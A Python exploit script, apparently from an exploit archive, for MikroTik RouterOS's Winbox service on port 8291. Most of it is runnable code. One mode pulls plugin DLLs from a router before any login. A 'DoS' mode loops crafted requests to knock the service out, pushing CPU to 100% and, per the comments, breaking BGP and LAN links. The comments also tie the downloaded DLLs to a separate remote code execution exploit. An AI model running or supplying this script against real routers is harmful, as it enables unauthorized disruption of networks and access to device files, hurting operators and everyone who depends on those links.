#!/usr/bin/python
# Exploit Title:    Mikrotik Router Remote Denial Of Service attack
# Date:             19/4/2012
# Author:           PoURaN @ 133tsec.com
# Software Link:    http://www.mikrotik.com
# Version:          All mikrotik routers with winbox service enabled are affected (still a 0day 30/5/2012)
# Tested on:        Mikrotis RouterOS 2.9.6 up to 5.15
#
#  Vulnerability Description
# ===========================
# DETAILS & PoC VIDEO : http://www.133tsec.com/2012/04/30/0day-ddos-mikrotik-server-side-ddos-attack/
# The denial of service, happens on mikrotik router's winbox service when
# the attacker is requesting continuesly a part of a .dll/plugin file, so the service
# becomes unstable causing every remote clients (with winbox) to disconnect
# and denies to accept any further connections. That happens for about 5 minutes. After
# the 5 minutes, winbox is stable again, being able to accept new connections.
# If you send the malicious packet in a loop (requesting  part of a file right after
# the service becoming available again) then you result in a 100% denial of winbox service.
# While the winbox service is unstable and in a denial to serve state, it raises router's CPU 100%
# and other actions. The "other actions" depends on the router version and on the hardware.
# For example on Mikrotik Router v3.30 there was a LAN corruption, BGP fail, whole router failure
#   => Mikrotik Router v2.9.6 there was a BGP failure
#   => Mikrotik Router v4.13 unstable wifi links
#   => Mikrotik Router v5.14/5.15 rarely stacking
#   =>>> Behaviour may vary most times, but ALL will have CPU 100% . Most routers loose BGP after long time attack <<<=
#
#
#  The exploit
# =============
# This is a vulnerability in winbox service, exploiting the fact that winbox lets you download files/plugins
# that winbox client needs to control the server, and generally lets you gain basic infos about the service BEFORE
# user login!
# Sending requests specially crafted for the winbox service, can cause a 100% denial of winbox service (router side).
# This script, offers you the possibility to download any of the dlls that can be downloaded from the router one-by-one
# or alltogether! (look usage for more info) .. The file must be contained in the router's dll index.
# The dlls downloaded, are in the format of the winbox service.. Meaning that they are compressed with gzip and they
# have 0xFFFF bytes every 0x101 bytes (the format that winbox client is expecting the files)
# These DLLs can be used by the "Winbox remote code execution" exploit script ;)
#
#  Usage
# =======
# Use the script as described below:
# 1. You can download ALL the files of the router's dll index using the following command:
#   python mkDl.py 10.0.0.1 * 1
#   the "1" in the end, is the speed.. "Speed" is a factor I added, so the script delays a bit while receiving
#   information from the server. It is a MUST for remote routers when they are in long distance (many hops) to use
#   a slower speed ( 9 for example ).
#   Also in the beginning of the dlls file list, script shows you the router's version (provided by router's index)
# 2. You can download a specific .dll file from the remote router.
#   python mkDl.py 10.67.162.1 roteros.dll 1
#   In this example i download roteros.dll (which is the biggest and main plugin) with a speed factor of 1 (very fast)
#   Because roteros and 1-2 other files are big, you have to request them in different part (parts of 64k each)
#   That is a restriction of winbox communication protocol.
#   If you don't know which file to request, make a "*" request first (1st usage example), see the dlls list, and press ctrl-c
#   to stop the script.
# 3. You can cause a Denial Of Service to the remote router.. Means denial in winbox service or more (read above for more)
#   python mkDl.py 10.67.162.1 DoS
#   This command starts requesting from router's winbox service the 1st part of roteros.dll looping the request
#   and causing DoS to the router. The script is requesting the file till the router stops responding to the port (8291)
#   Then it waits till the service is up again (using some exception handling), then it requests again till the remote
#   service is down again etc etc... The requests lasts for about 2 seconds, and the router is not responding for about
#   5 minutes as far as i have seen from my tests in different routeros versions.
#
#   <> Greetz to mbarb, dennis, andreas, awmn and all mighty researchers out there! keep walking guys <>
#
import socket, sys, os, struct, random, time
 
def InitConnection(mikrotikIP, speed):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((mikrotikIP, 8291))
    s.send(winboxStartingIndex)
    data = s.recv(1024)         # receiving dll index from server
    time.sleep(0.001*speed)
    if data.find("\xFF\x02"+"index"+"\x00") > -1:
        print "[+] Index received!"
    else:
        print "[+] Wrong index.. Exiting.."
        sys.exit(0)
    return s
 
def download(filename, speed, s):
    f = open(filename, 'wb')
    if len(filename) < 13 and len(filename) > 6:
        print "[+] Requesting file ", filename, ' <->'
        winboxStartingFileReq = RequestHeader + filename.ljust(12, '\x00') + RequestFirstFooter
        s.send(winboxStartingFileReq)
        time.sleep(0.001*speed)
        dataReceived = s.recv(1)
        if dataReceived[0:1]=='\xFF':
            print "[+] Receiving the file..."
            f.write(dataReceived)                       # written 1st byte
            time.sleep(0.001*speed)
            dataReceived = s.recv(0x101)                # 0x100 + 1
            nextPartFingerprint = struct.unpack('>H', dataReceived[14:16])[0]
            if dataReceived[0:1]=='\x02':
                time.sleep(0.001*speed)
                f.write(dataReceived)                   # written 1st chunk 0x102 bytes with header in file.
                dataReceived = s.recv(0x102)            # 1st sequence of (0xFF 0xFF)
                bytesToRead = int(dataReceived[len(dataReceived)-2].encode('hex'), 16) + 2
                f.write(dataReceived)                   # write the next 0x102 bytes (total 0x102+0x102 in file)
            else:
                print "[-] Wrong data received..(2)"
                sys.exit(0)
        else:
            print "[-] Wrong data received..(1)"
            sys.exit(0)
         
        finalPart=0
        bigFileCounter = 0xFFED
        packetsCounted=0        # counter for the 0x101 packet counts. Every time a file is requested this counter is 0
        fileRequested=0         # every time a file needs to be requested more than 1 time, this is it's counter.
        while 1:                                # header of file done.. Now LOOP the body..
            packetsCounted+=1   # dbg
            time.sleep(0.001*speed)
            dataReceived = s.recv(bytesToRead)
            f.write(dataReceived)
            if (bytesToRead <> len(dataReceived)) and packetsCounted==255:    # an den diavazei osa bytesToRead prepei, simainei oti eftase sto telos i lipsi tou part pou katevazoume
                packetsCounted = -1
                print '[+] Next file part : ', fileRequested
                s.send(RequestHeader + filename.ljust(12, '\x00') + '\xFF\xED\x00' + struct.pack('=b',fileRequested) +  struct.pack('>h',bigFileCounter))
                time.sleep(0.001*speed)
                dataReceived = s.recv(0x101 + 2)            # Reads the new header of the new part!!!
                nextPartFingerprint = struct.unpack('>H', dataReceived[14:16])[0]
                f.write(dataReceived)
                bytesToRead = int(dataReceived[len(dataReceived)-2].encode('hex'), 16)
                fileRequested += 1
                bigFileCounter -= 0x13
            bytesToRead = int(dataReceived[len(dataReceived)-2].encode('hex'), 16)      # den prostheto 2 tora giati to teleutaio den einai ff.. einai akrivos to size pou paramenei..
            if bytesToRead==0xFF:           # kalipto tin periptosi opou to teleutaio struct den einai ff alla exei to size pou apomenei
                bytesToRead += 2
            if bytesToRead != 0x101 and nextPartFingerprint < 65517: # dikaiologountai ta liga bytes otan teleiose ena apo ta parts tou file
                time.sleep(0.001*speed)
                dataReceived = s.recv(bytesToRead)
                f.write(dataReceived)
                break
            if bytesToRead != 0x101 and nextPartFingerprint==65517:     # ligotera bytes KAI fingerprint 65517 simainei corrupted file..
                print '[-] File download terminated abnormaly.. please try again probably with a slower speed..'
                sys.exit(0)
        if fileRequested < 1:    print '[+] File was small and was downloaded in one part\n[+] Downloaded successfully'
        else:   print '[+] File '+filename+' downloaded successfully'
    f.close()
    s.close()
 
     
def Flood(s):
    filename = 'roteros.dll'
    f = 'we\'r not gonna use I/O to store the data'
    print "[+] Requesting file ", filename, ' till death :)'
    time.sleep(1)
    winboxStartingFileReq = RequestHeader + filename.ljust(12, '\x00') + RequestFirstFooter
    s.send(winboxStartingFileReq)
    time.sleep(0.001)
    dataReceived = s.recv(1)
    if dataReceived[0:1]=='\xFF':
        f = dataReceived                        # written 1st byte
        time.sleep(0.001)
        dataReceived = s.recv(0x101)                # 0x100 + 1
        nextPartFingerprint = struct.unpack('>H', dataReceived[14:16])[0]
        if dataReceived[0:1]=='\x02':
            time.sleep(0.001)
            f = dataReceived                    # written 1st chunk 0x102 bytes with header in file.
            dataReceived = s.recv(0x102)            # 1st sequence of (0xFF 0xFF)
            bytesToRead = int(dataReceived[len(dataReceived)-2].encode('hex'), 16) + 2
            f = dataReceived                    # write the next 0x102 bytes (total 0x102+0x102 in file)
        else:
            print "[-] Wrong data received..(2)"
            sys.exit(0)
    else:
        print "[-] Wrong data received..(1)"
        sys.exit(0)
     
    finalPart=0
    bigFileCounter = 0xFFED
    packetsCounted=0        # counter for the 0x101 packet counts. Every time a file is requested this counter is 0
    fileRequested=0         # every time a file needs to be requested more than 1 time, this is it's counter.
    try:
        while 1:
            s.send(RequestHeader + filename.ljust(12, '\x00') + '\xFF\xED\x00' + struct.pack('=b',fileRequested) +  struct.pack('>h',bigFileCounter))
            s.recv(1)
            print '- Sending evil packet.. press CTRL-C to stop -'
    except:
        print 'Connection reseted by server.. trying attacking again'
 
 
###############################################################################################################
########################################### SCRIPT BODY STARTS HERE ###########################################
global RequestHeader
RequestHeader = ('\x12\x02')
global RequestFirstFooter
RequestFirstFooter = ('\xFF\xED\x00\x00\x00\x00')
 
global winboxStartingIndex
winboxStartingIndex=(RequestHeader + 'index' + '\x00'*7 + RequestFirstFooter)
winboxStartingFileReq=(RequestHeader + '\x00'*12 + RequestFirstFooter)
 
print '\n[Winbox plugin downloader]\n\n'
 
if len(sys.argv)==3:
    if sys.argv[2]=='DoS':                          # if i combine both checks in 1st if, there will be error.. guess why.. ;)
        print '[+] Hmmm we gonna attack it..'
        time.sleep(1)
        speed=1
        mikrotikIP = sys.argv[1]
        filename = sys.argv[2]
        while 1:
            time.sleep(1)
            try:
                s = InitConnection(mikrotikIP, speed)
                Flood(s)
            except:
                time.sleep(1)
 
if len(sys.argv)<>4:
    print 'Usage : '+sys.argv[0]+' <mikrotik_ip> <filename_to_download> <speed>\n\t<speed>:\t [from 0 to 9] 1=faster, 9=slower but more reliable\n'
    sys.exit(0)
 
mikrotikIP = sys.argv[1]
filename = sys.argv[2]
speed = int(sys.argv[3])
if speed>9 or speed<1:
    print 'Speed must be between 1 and 9 else there are unexpected results!'
    sys.exit(0)
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((mikrotikIP, 8291))
s.send(winboxStartingIndex)
data = s.recv(1024)         # receiving dll index from server
s.close()
 
if filename.find('*') > -1:
    DllList = data.split('\x0a')
    print 'Mikrotik\'s version is '+DllList[1].split(' ')[3]+'\nThe following Dlls gonna be requested :'
    for i in range(0, len(DllList)-1):
        print DllList[i].split(' ')[2]
    raw_input('> Press enter to continue <')
    for extractedDlls in range(0, len(DllList)-1):
        print "[+] Requesting ", DllList[extractedDlls].split(' ')[2]
        filename=DllList[extractedDlls].split(' ')[2]
        s = InitConnection(mikrotikIP, speed)
        download(filename, speed, s)
else:
    s = InitConnection(mikrotikIP, speed)
    download(filename, speed, s)